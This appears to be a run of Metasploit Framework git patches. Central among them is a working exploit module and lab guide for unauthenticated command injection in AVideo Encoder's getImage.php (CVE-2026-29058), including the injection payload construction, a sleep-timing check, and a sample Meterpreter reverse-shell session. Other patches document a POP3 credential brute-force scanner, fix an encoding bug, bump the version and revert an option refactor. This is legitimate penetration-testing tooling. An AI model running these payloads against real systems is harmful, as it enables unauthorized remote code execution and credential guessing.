t.integer "tag_id" + t.index ["session_id", "tag_id"], name: "index_sessions_tags_on_session_id_and_tag_id", unique: true + end + create_table "tags", id: :serial, force: :cascade do |t| t.integer "user_id" t.string "name", limit: 1024 @@ -646,6 +652,7 @@ t.string "company" t.string "prefs", limit: 524288 t.boolean "admin", default: true, null: false + t.boolean "sso_enabled", default: false, null: false end create_table "vuln_attempts", id: :serial, force: :cascade do |t| diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ad0d0ca24ee1d..06288b84bf2ca 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -69,7 +69,7 @@ Gem::Specification.new do |spec| # Metasploit::Credential database models spec.add_runtime_dependency 'metasploit-credential' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '>= 6.0.7' + spec.add_runtime_dependency 'metasploit_data_models', '>= 6.0.15' # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' From dfe73bb4c52640d1cb2a08620ccf8f94a053acbf Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Fri, 6 Mar 2026 21:28:39 +0100 Subject: [PATCH 048/103] Add exploit for AVideo Encoder getImage.php command injection (CVE-2026-29058) Unauthenticated OS command injection via the base64Url parameter in getImage.php. The URL is interpolated into an ffmpeg shell command without escapeshellarg(), and FILTER_VALIDATE_URL does not block shell metacharacters in the URL path. --- .../avideo_encoder_getimage_cmd_injection.md | 150 ++++++++++++++++++ .../avideo_encoder_getimage_cmd_injection.rb | 112 +++++++++++++ 2 files changed, 262 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md create mode 100644 modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb diff --git a/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md new file mode 100644 index 0000000000000..a42148b74a523 --- /dev/null +++ b/documentation/modules/exploit/linux/http/avideo_encoder_getimage_cmd_injection.md @@ -0,0 +1,150 @@ +## Vulnerable Application + +This module exploits an unauthenticated OS command injection vulnerability in AVideo +Encoder's `getImage.php` endpoint. + +**CVE ID:** CVE-2026-29058 + +**Affected Versions:** AVideo Encoder before version 7.0 (commit 78178d1) + +### Vulnerability Overview + +The `getImage.php` endpoint accepts a `base64Url` GET parameter which is base64-decoded and +passed through PHP's `FILTER_VALIDATE_URL`. The validated URL is then interpolated directly +into an ffmpeg shell command within double quotes, without any use of `escapeshellarg()` or +metacharacter filtering. + +PHP's `FILTER_VALIDATE_URL` does not block shell metacharacters such as backticks or `$()` +in the URL path component. A crafted URL like `http://x/$(cmd)` passes validation and gets +interpolated into: + +``` +ffmpeg -i "http://x/$(cmd)" -f image2 ... +``` + +This results in arbitrary command execution as `www-data`. The Encoder code is served by the +main AVideo Apache container (mounted at `/Encoder`), so exploitation gives access to the +main application context including database credentials and configuration. + +Fixed in AVideo Encoder version 7.0 (commit `78178d1`) which added `escapeshellarg()` and +shell metacharacter stripping. + +### Setup + +This lab reuses the same AVideo Docker environment as the `avideo_notify_ffmpeg_unauth_rce` +module, with one additional step: replacing the patched `getImage.php` with the pre-patch +(vulnerable) version. + +1. Clone the AVideo repository and checkout the vulnerable commit: + +```bash +cd /tmp +git clone https://github.com/WWBN/AVideo.git +cd AVideo +git checkout 596df4e5b0597c9806da76ebec5bbe3b305953e4 +``` + +2. Create a `.env` file with the following configuration: + +```bash +cat > .env << EOF +SERVER_NAME=localhost +CREATE_TLS_CERTIFICATE=yes +DB_MYSQL_HOST=database +DB_MYSQL_PORT=3306 +DB_MYSQL_NAME=avideo +DB_MYSQL_USER=avideo +DB_MYSQL_PASSWORD=avideo +HTTP_PORT=80 +HTTPS_PORT=9443 +NETWORK_SUBNET=172.99.0.0/16 +EOF +``` + +3. Fix MariaDB corrupted tc.log issue (required for first-time setup): + +```bash +cat > deploy/docker-entrypoint-mariadb << 'SCRIPTEOF' +#!/bin/bash +set -e + +if [ -f /var/lib/mysql/tc.log ]; then + MAGIC_HEADER=$(head -c 4 /var/lib/mysql/tc.log | od -An -tx1 | tr -d ' \n' 2>/dev/null || echo "") + if [ "$MAGIC_HEADER" != "01000000" ] && [ -n "$MAGIC_HEADER" ]; then + echo "[Entrypoint]: Removing corrupted tc.log file (bad magic header: $MAGIC_HEADER)" + rm -f /var/lib/mysql/tc.log + fi +fi +SCRIPTEOF +chmod +x deploy/docker-entrypoint-mariadb + +cat >> Dockerfile.mariadb << 'DOCKERFILEEOF' + +COPY deploy/docker-entrypoint-mariadb /usr/local/bin/docker-entrypoint-mariadb +RUN chmod +x /usr/local/bin/docker-entrypoint-mariadb +RUN sed -i '2i /usr/local/bin/docker-entrypoint-mariadb' /usr/local/bin/docker-entrypoint.sh +DOCKERFILEEOF + +docker compose build database database_encoder +``` + +4. Start the Docker Compose environment: + +```bash +docker compose up -d +``` + +5. Wait for the services to be ready and access the application at `http://localhost`. + +6. Replace the Encoder's `getImage.php` with the pre-patch (vulnerable) version: + +```bash +cd .compose/encoder +git checkout e0c2768 -- objects/getImage.php +cd ../.. +docker compose restart avideo +``` + +After this step, the `/Encoder/objects/getImage.php` endpoint is vulnerable to command +injection via the `base64Url` parameter. + +## Verification Steps + +1. Start `msfconsole` +2. `use exploit/linux/http/avideo_encoder_getimage_cmd_injection` +3. `set RHOSTS ` +4. `set RPORT ` (default: 80) +5. `set LHOST ` (for reverse connection) +6. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp` +7. `set FETCH_SRVPORT ` (if default 8080 is taken) +8. `exploit` +9. **Verify** that you get a Meterpreter session + +## Options + +This module has no non-default options. + +## Scenarios + +### Meterpreter via fetch payload (cmd/linux/http/x64/meterpreter/reverse_tcp) + +This scenario demonstrates exploitation against AVideo with a vulnerable Encoder, using a +fetch payload to deliver a Meterpreter binary: + +``` +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RHOSTS localhost +RHOSTS => localhost +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set RPORT 80 +RPORT => 80 +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > set LHOST 172.99.0.1 +LHOST => 172.99.0.1 +msf exploit(linux/http/avideo_encoder_getimage_cmd_injection) > exploit +[*] Started reverse TCP handler on 172.99.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Command injection confirmed via sleep timing (3/3 checks passed) +[*] Sending command injection via getImage.php... +[*] Sending stage (3090404 bytes) to 172.99.0.7 +[*] Meterpreter session 1 opened (172.99.0.1:4444 -> 172.99.0.7:46970) at 2026-03-06 21:26:32 +0100 + +meterpreter > +``` diff --git a/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb b/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb new file mode 100644 index 0000000000000..e2bff788e0225 --- /dev/null +++ b/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'AVideo Encoder getImage.php Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated OS command injection vulnerability + in AVideo Encoder's getImage.php endpoint (CVE-2026-29058). + + The base64Url GET parameter is base64-decoded and injected directly into an + ffmpeg shell command within double quotes, without any sanitization or use of + escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell + metacharacters such as $() in the URL path, allowing command substitution. + + A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated + into: ffmpeg -i "{$url}" ... resulting in arbitrary command execution as www-data. + + The Encoder code is served by the main AVideo Apache container (mounted at + /Encoder), so exploitation gives access to the main application context including + database credentials and configuration. + + Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg() + and shell metacharacter stripping. + }, + 'Author' => [ + 'arkmarta', # Vulnerability discovery -- props to you man + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-29058'], + ['GHSA', '9j26-99jh-v26q', 'WWBN/AVideo-Encoder'] + ], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + 'DefaultOptions' => { + 'ENCODER' => 'generic/none', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-03-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']) + ]) + end + + def check + res = send_getimage('true') + return CheckCode::Unknown('Failed to connect to the target.') unless res + return CheckCode::Safe("getImage.php returned HTTP #{res.code}") unless res.code == 200 + + hits = 0 + + 3.times do |i| + sleep_time = rand(1..3) + vprint_status("Sleep check attempt #{i + 1}/3 (#{sleep_time}s)...") + _, elapsed = Rex::Stopwatch.elapsed_time do + send_getimage("sleep${IFS}#{sleep_time}") + end + + next unless elapsed >= (sleep_time - 0.5) + + vprint_good("Attempt #{i + 1}: #{elapsed.round(1)}s elapsed") + hits += 1 + end + + return CheckCode::Vulnerable("Command injection confirmed via sleep timing (#{hits}/3 checks passed)") if hits >= 2 + + CheckCode::Safe('getImage.php is accessible but command injection did not trigger') + end + + def exploit + print_status('Sending command injection via getImage.php...') + send_getimage(payload.encoded.gsub(' ', '${IFS}')) + end + + def send_getimage(cmd) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Encoder', 'objects', 'getImage.php'), + 'method' => 'GET', + 'vars_get' => { 'base64Url' => Rex::Text.encode_base64("#{Faker::Internet.url}/`#{cmd}`"), 'format' => 'png' } + }) + end +end From d2812ae9fc26615e88dbcd751138e23d33cd4a0f Mon Sep 17 00:00:00 2001 From: jeanmtr Date: Fri, 6 Mar 2026 22:40:57 +0100 Subject: [PATCH 049/103] add documentation for the pop3_login.md module --- .../auxiliary/scanner/pop3/pop3_login.md | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/pop3/pop3_login.md diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md new file mode 100644 index 0000000000000..d89f4f1a6f836 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +POP3 is an application-layer Internet standard protocol used by e-mail clients +to retrieve e-mail from a mail server. + +This module in particular attempts to authenticate to a POP3 service. +The default wordlists are: +- [unix_users.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_users.txt) for users and +- [unix_passwords.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/unix_passwords.txt) for passowords +## Verification Steps + +1. Install and configure a pop3 server (ex: with dovecot) +2. Start msfconsole +3. Do: `use auxiliary/scanner/pop3/pop3_login` +4. Do: `set rhosts [IP]` +5. Do: `run` + +## Options + +### ANONYMOUS_LOGIN + + Attempt to login with a blank username and password + +### BLANK_PASSWORDS + + Try blank passwords for all users + +### BRUTEFORCE_SPEED + + How fast to bruteforce, from 0 to 5 + +### DB_ALL_CREDS + + Try each user/password couple stored in the current database + +### DB_ALL_PASS + + Add all passwords in the current database to the list + +### DB_ALL_USERS + + Add all users in the current database to the list + +### DB_SKIP_EXISTING + + Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + +### PASSWORD + + A specific password to authenticate with + +### PASS_FILE + + Newline separated list of probable users passwords. Default depends on install location, + however it will be within metasploit-framework/data/wordlists/unix_passwords.txt + +### STOP_ON_SUCCESS + + Stop guessing when a credential works for a host + +### THREADS + + The number of concurrent threads (max one per host) + +### USERNAME + + A specific username to authenticate as + +### USERPASS_FILE + + File containing users and pass words separated by space, one pair per line + +### USER_AS_PASS + + Try the username as the password for all users + + +### USER_FILE + + Newline separated list of probable users accounts. Default depends on install location, + however it will be within metasploit-framework/data/wordlists/unix_users.txt + + +### VERBOSE + + Whether to print output for all attempts + + +## Scenarios + +### Dovecot on Kali-Linux + + + + +- First we need to install an email server, here we will use dovecot: + +`sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed + +- The we can configure it + +In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp` +In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice) + +- Then we create a new user `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd` + +- We can now start the server with `sudo systemctl start dovecot` + +- Now we can go into msfconsole: + +``` +msf > use auxiliary/scanner/pop3/pop3_login +msf auxiliary(scanner/pop3/pop3_login) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf auxiliary(scanner/pop3/pop3_login) > set username alice +username => alice +msf auxiliary(scanner/pop3/pop3_login) > set password password123 +password => password123 +msf auxiliary(scanner/pop3/pop3_login) > run +[+] 127.0.0.1:110 - 127.0.0.1:110 - Success: 'alice:password123' '+OK Logged in. ' +[!] 127.0.0.1:110 - No active DB -- Credential data will not be saved! +[*] 127.0.0.1:110 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` From 81431ea680038bf3c9452c68a8a3f9831be10d3e Mon Sep 17 00:00:00 2001 From: jeanmtr Date: Fri, 6 Mar 2026 22:51:26 +0100 Subject: [PATCH 050/103] Update pop3_login.md markdown issue --- documentation/modules/auxiliary/scanner/pop3/pop3_login.md | 1 + 1 file changed, 1 insertion(+) diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md index d89f4f1a6f836..1be25099781b6 100644 --- a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md +++ b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md @@ -100,6 +100,7 @@ The default wordlists are: - The we can configure it In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp` + In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice) - Then we create a new user `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd` From e369660d18355325164b7e999e83402fdd0d8c4c Mon Sep 17 00:00:00 2001 From: jeanmtr Date: Fri, 6 Mar 2026 22:53:11 +0100 Subject: [PATCH 051/103] Update pop3_login.md Another md issue --- .../auxiliary/scanner/pop3/pop3_login.md | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md index 1be25099781b6..ffe3de102c881 100644 --- a/documentation/modules/auxiliary/scanner/pop3/pop3_login.md +++ b/documentation/modules/auxiliary/scanner/pop3/pop3_login.md @@ -93,21 +93,23 @@ The default wordlists are: -- First we need to install an email server, here we will use dovecot: +First we need to install an email server, here we will use dovecot: -`sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed +- `sudo apt install dovecot-core dovecot-pop3d` version 2.3 will be installed -- The we can configure it +Then we can configure it -In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp` +- In /etc/dovecot/dovecot.conf uncomment the line `#protocols = pop3 imap lmtp` -In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice) +- In /etc/dovecot/conf.d/10-ssl.conf change the line `ssl = yes` to `ssl = no` (obviously this is bad practice) -- Then we create a new user `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd` +Then we create a new user -- We can now start the server with `sudo systemctl start dovecot` +- `sudo useradd -m alice && echo "alice:password123" | sudo chpasswd` -- Now we can go into msfconsole: +We can now start the server with `sudo systemctl start dovecot` + +Now we can go into msfconsole: ``` msf > use auxiliary/scanner/pop3/pop3_login From f09143998a2b65fd8873ef710d07b1471213dc56 Mon Sep 17 00:00:00 2001 From: Hemang360 Date: Sat, 7 Mar 2026 20:50:41 +0530 Subject: [PATCH 052/103] Fix incompatible encoding error when command contains utf-8 characters --- lib/msf/core/payload/windows/exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb index a3777de068c0f..9575dc20ded8a 100644 --- a/lib/msf/core/payload/windows/exec.rb +++ b/lib/msf/core/payload/windows/exec.rb @@ -65,7 +65,7 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - return datastore['CMD'] || '' + return (datastore['CMD'] || '').b end end From ef7992713a7842162382281d97785cffa888a232 Mon Sep 17 00:00:00 2001 From: jenkins-metasploit Date: Sat, 7 Mar 2026 19:27:42 +0000 Subject: [PATCH 053/103] Bump version of framework to 6.4.121 --- Gemfile.lock | 2 +- LICENSE_GEMS | 4 ++-- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 73b973b100ebd..abb7bc3891594 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.4.120) + metasploit-framework (6.4.121) aarch64 abbrev actionpack (~> 7.2.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index bd04d28bf39af..946c07eb7cf96 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -97,10 +97,10 @@ memory_profiler, 1.1.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.5, "New BSD" metasploit-credential, 6.0.20, "New BSD" -metasploit-framework, 6.4.120, "New BSD" +metasploit-framework, 6.4.121, "New BSD" metasploit-model, 5.0.4, "New BSD" metasploit-payloads, 2.0.240, "3-clause (or ""modified"") BSD" -metasploit_data_models, 6.0.12, "New BSD" +metasploit_data_models, 6.0.15, "New BSD" metasploit_payloads-mettle, 1.0.46, "3-clause (or ""modified"") BSD" method_source, 1.1.0, MIT mime-types, 3.7.0, MIT diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index e329b6db34e14..68a044634cf7a 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.4.120" + VERSION = "6.4.121" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 628275ef59f0ab305670477c84c73993fb7394cf Mon Sep 17 00:00:00 2001 From: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com> Date: Sun, 8 Mar 2026 17:37:49 +0000 Subject: [PATCH 054/103] Revert "This adjusts module options that need a routable address" --- .rubocop.yml | 1 - lib/msf/core/exploit/cmd_stager.rb | 7 +- lib/msf/core/exploit/cmd_stager/http.rb | 6 -- lib/msf/core/exploit/format/webarchive.rb | 6 +- .../core/exploit/remote/browser_autopwn2.rb | 17 ++-- .../remote/http/sap_sol_man_eem_miss_auth.rb | 4 +- lib/msf/core/exploit/remote/http_server.rb | 26 +++++- lib/msf/core/exploit/remote/jndi_injection.rb | 11 +-- .../core/exploit/remote/smb/relay_server.rb | 7 +- .../core/exploit/remote/smb/server/share.rb | 1 - lib/msf/core/exploit/remote/socket_server.rb | 32 +------ lib/msf/core/opt_address_local.rb | 37 ++++++-- lib/msf/core/opt_address_routable.rb | 43 --------- lib/msf/util/payload_cached_size.rb | 6 +- .../cop/lint/datastore_srvhost_usage.rb | 42 --------- .../google_play_store_uxss_xframe_rce.rb | 5 +- .../admin/sap/cve_2020_6207_solman_rce.rb | 6 +- .../fileformat/specialfolder_leak.rb | 4 +- .../gather/android_stock_browser_uxss.rb | 7 ++ .../apple_safari_ftp_url_cookie_theft.rb | 29 +++++-- .../gather/apple_safari_webarchive_uxss.rb | 8 ++ .../gather/firefox_pdfjs_file_theft.rb | 7 +- .../auxiliary/gather/ie_sandbox_findfiles.rb | 21 +++-- .../gather/magento_xxe_cve_2024_34102.rb | 8 +- .../gather/safari_file_url_navigation.rb | 22 ++++- .../server/android_mercury_parseuri.rb | 7 +- modules/auxiliary/server/browser_autopwn.rb | 2 +- modules/auxiliary/server/capture/http.rb | 2 +- .../auxiliary/server/capture/http_basic.rb | 2 +- modules/auxiliary/server/capture/pop3.rb | 2 +- .../server/capture/printjob_capture.rb | 4 +- modules/auxiliary/server/capture/sip.rb | 4 +- modules/auxiliary/server/capture/smtp.rb | 2 +- modules/auxiliary/server/dns/spoofhelper.rb | 2 +- modules/auxiliary/server/fakedns.rb | 2 +- .../server/jsse_skiptls_mitm_proxy.rb | 2 +- modules/auxiliary/server/netbios_spoof_nat.rb | 2 +- .../openssl_altchainsforgery_mitm_proxy.rb | 2 +- .../server/openssl_heartbeat_client_memory.rb | 2 +- modules/auxiliary/server/tftp.rb | 2 +- .../freebsd/misc/citrix_netscaler_soap_bof.rb | 9 +- .../linux/http/chaos_rat_xss_to_rce.rb | 5 +- .../linux/http/craftcms_ftp_template.rb | 4 +- .../http/dlink_diagnostic_exec_noauth.rb | 14 ++- .../linux/http/dlink_dir615_up_exec.rb | 11 ++- .../linux/http/dlink_hnap_login_bof.rb | 10 ++- .../linux/http/huawei_hg532n_cmdinject.rb | 6 +- .../linux/http/ibm_qradar_unauth_rce.rb | 10 ++- .../linux/http/linksys_e1500_apply_exec.rb | 13 ++- .../linux/http/linksys_wrt54gl_apply_exec.rb | 13 ++- .../http/magento_xxe_to_glibc_buf_overflow.rb | 8 +- .../linux/http/netgear_dgn1000b_setup_exec.rb | 13 ++- .../linux/http/netgear_dgn2200b_pppoe_exec.rb | 13 ++- .../linux/http/ollama_rce_cve_2024_37032.rb | 8 +- modules/exploits/linux/http/railo_cfml_rfi.rb | 10 ++- .../linux/http/symmetricom_syncserver_rce.rb | 4 +- .../http/synology_dsm_smart_exec_auth.rb | 64 +++++++------- .../exploits/linux/http/vmware_vrli_rce.rb | 5 +- .../linux/misc/cve_2020_13160_anydesk.rb | 2 +- .../linux/misc/jenkins_ldap_deserialize.rb | 2 +- .../linux/misc/opennms_java_serialize.rb | 11 ++- .../linux/misc/tplink_archer_a7_c7_lan_rce.rb | 17 ++-- .../zyxel_multiple_devices_zhttp_lan_rce.rb | 12 ++- .../linux/redis/redis_replication_cmd_exec.rb | 16 +++- .../exploits/linux/smtp/exim4_dovecot_exec.rb | 15 +++- .../adobe_coldfusion_rce_cve_2023_26360.rb | 9 +- .../multi/http/bassmaster_js_injection.rb | 10 ++- .../multi/http/cacti_graph_template_rce.rb | 15 ++-- .../exploits/multi/http/jboss_maindeployer.rb | 6 +- .../multi/http/log4shell_header_injection.rb | 8 +- .../multi/http/monsta_ftp_downloadfile_rce.rb | 6 +- .../multi/http/mutiny_subnetmask_exec.rb | 13 ++- .../oracle_ebs_cve_2025_61882_exploit_rce.rb | 12 ++- .../http/rails_dynamic_render_code_exec.rb | 10 ++- .../multi/http/solarwinds_webhelpdesk_rce.rb | 15 +++- .../exploits/multi/http/struts_code_exec.rb | 5 +- .../struts_code_exec_exception_delegator.rb | 5 +- .../http/struts_default_action_mapper.rb | 11 ++- .../multi/http/totaljs_cms_widget_exec.rb | 4 +- ...ro_threat_discovery_admin_sys_time_cmdi.rb | 11 ++- modules/exploits/multi/http/wondercms_rce.rb | 6 +- .../multi/http/wp_popular_posts_rce.rb | 1 + .../multi/iiop/cve_2023_21839_weblogic_rce.rb | 7 +- .../misc/cups_ipp_remote_code_execution.rb | 9 +- .../exploits/multi/misc/ibm_tm1_unauth_rce.rb | 7 +- .../multi/sap/sap_mgmt_con_osexec_payload.rb | 15 +++- .../osx/browser/safari_file_policy.rb | 20 ++++- .../unix/http/pihole_blocklist_exec.rb | 6 +- .../exploits/unix/http/xdebug_unauth_exec.rb | 4 +- .../unix/local/opensmtpd_oob_read_lpe.rb | 4 + .../webapp/google_proxystylesheet_exec.rb | 4 +- modules/exploits/windows/antivirus/ams_xfr.rb | 3 +- .../windows/browser/adobe_flash_sps.rb | 3 +- .../adobe_flashplayer_arrayindexing.rb | 4 +- .../windows/browser/aol_icq_downloadagent.rb | 4 +- .../browser/apple_quicktime_mime_type.rb | 5 +- .../windows/browser/apple_quicktime_rtsp.rb | 5 +- .../browser/apple_quicktime_smil_debug.rb | 5 +- .../apple_quicktime_texml_font_table.rb | 5 +- .../browser/awingsoft_winds3d_sceneurl.rb | 4 +- .../browser/blackice_downloadimagefileurl.rb | 5 +- .../browser/c6_messenger_downloaderactivex.rb | 4 +- .../windows/browser/cisco_webex_ext.rb | 2 +- .../windows/browser/dxstudio_player_exec.rb | 5 +- .../browser/enjoysapgui_comp_download.rb | 4 +- .../browser/foxit_reader_plugin_url_bof.rb | 3 +- .../browser/honeywell_hscremotedeploy_exec.rb | 4 +- .../browser/java_ws_arginject_altjvm.rb | 4 +- .../windows/browser/java_ws_double_quote.rb | 3 +- .../windows/browser/java_ws_vmargs.rb | 4 +- .../browser/keyhelp_launchtripane_exec.rb | 2 +- .../windows/browser/macrovision_unsafe.rb | 4 +- .../ms07_017_ani_loadimage_chunksize.rb | 2 +- .../browser/ms08_041_snapshotviewer.rb | 4 +- .../browser/ms10_022_ie_vbscript_winhlp32.rb | 3 +- .../browser/ms10_042_helpctr_xss_cmd_exec.rb | 2 +- .../ms10_046_shortcut_icon_dllloader.rb | 9 +- .../windows/browser/ms16_051_vbscript.rb | 7 +- .../windows/browser/msvidctl_mpeg2.rb | 16 +++- .../browser/notes_handler_cmdinject.rb | 9 +- .../browser/persits_xupload_traversal.rb | 3 +- .../browser/real_arcade_installerdlg.rb | 3 +- .../windows/browser/safari_xslt_output.rb | 5 +- .../browser/samsung_security_manager_put.rb | 4 +- ...ec_altirisdeployment_downloadandinstall.rb | 4 +- .../browser/symantec_appstream_unsafe.rb | 4 +- .../browser/systemrequirementslab_unsafe.rb | 4 +- .../windows/browser/ubisoft_uplay_cmd_exec.rb | 18 +++- .../windows/browser/webdav_dll_hijacker.rb | 11 ++- .../browser/zenturiprogramchecker_unsafe.rb | 4 +- .../browser/zenworks_helplauncher_exec.rb | 3 +- .../dcerpc/cve_2021_1675_printnightmare.rb | 8 ++ .../email/ms10_045_outlook_ref_only.rb | 9 +- .../email/ms10_045_outlook_ref_resolve.rb | 9 +- .../fileformat/mcafee_showreport_exec.rb | 4 + .../exploits/windows/fileformat/ms12_005.rb | 8 +- .../windows/fileformat/nitro_reader_jsapi.rb | 11 ++- .../windows/fileformat/office_word_hta.rb | 3 +- .../theme_dll_hijack_cve_2023_38146.rb | 2 +- .../windows/fileformat/word_msdtjs_rce.rb | 9 +- .../windows/fileformat/word_mshtml_rce.rb | 7 +- modules/exploits/windows/ftp/ayukov_nftp.rb | 16 +++- .../exploits/windows/ftp/freefloatftp_wbem.rb | 4 +- .../exploits/windows/ftp/ftpshell_cli_bof.rb | 14 ++- modules/exploits/windows/ftp/labf_nfsaxe.rb | 16 +++- .../exploits/windows/ftp/open_ftpd_wbem.rb | 4 +- .../windows/ftp/quickshare_traversal_write.rb | 4 +- .../exploits/windows/ftp/scriptftp_list.rb | 8 +- .../http/ca_totaldefense_regeneratereports.rb | 5 +- .../windows/http/cogent_datahub_command.rb | 10 ++- ...anageengine_adaudit_plus_cve_2022_28219.rb | 18 ++-- .../http/northstar_c2_xss_to_agent_rce.rb | 12 ++- .../exploits/windows/http/osb_uname_jlist.rb | 5 +- .../windows/http/sap_host_control_cmd_exec.rb | 4 +- .../http/solarwinds_storage_manager_sql.rb | 7 +- .../windows/iis/ms01_026_dbldecode.rb | 3 +- modules/exploits/windows/iis/msadc.rb | 3 +- .../exploits/windows/misc/altiris_ds_sqli.rb | 3 +- .../misc/hp_dataprotector_install_service.rb | 2 +- .../misc/ibm_director_cim_dllinject.rb | 3 +- modules/exploits/windows/misc/mini_stream.rb | 3 +- .../windows/misc/nvidia_mental_ray.rb | 9 +- .../misc/vmhgfs_webdav_dll_sideload.rb | 12 ++- .../exploits/windows/misc/webdav_delivery.rb | 4 +- .../exploits/windows/mssql/mssql_payload.rb | 3 +- .../exploits/windows/novell/netiq_pum_eval.rb | 11 ++- .../scada/ge_proficy_cimplicity_gefebt.rb | 3 +- .../windows/scada/rockwell_factorytalk_rce.rb | 6 +- .../exploits/windows/scada/scadapro_cmdexe.rb | 14 +-- .../singles/java/shell_reverse_tcp.rb | 2 +- modules/payloads/stagers/java/bind_tcp.rb | 2 +- modules/payloads/stagers/java/reverse_tcp.rb | 2 +- modules/post/linux/busybox/set_dns.rb | 6 +- .../cop/lint/datastore_srvhost_usage_spec.rb | 87 ------------------- 174 files changed, 954 insertions(+), 538 deletions(-) delete mode 100644 lib/rubocop/cop/lint/datastore_srvhost_usage.rb delete mode 100644 spec/rubocop/cop/lint/datastore_srvhost_usage_spec.rb diff --git a/.rubocop.yml b/.rubocop.yml index 6cef85a06c9dd..b1c617d67d386 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -25,7 +25,6 @@ require: - ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb - ./lib/rubocop/cop/lint/detect_metadata_trailing_leading_whitespace.rb - ./lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb - - ./lib/rubocop/cop/lint/datastore_srvhost_usage.rb Layout/SpaceBeforeBrackets: Enabled: true diff --git a/lib/msf/core/exploit/cmd_stager.rb 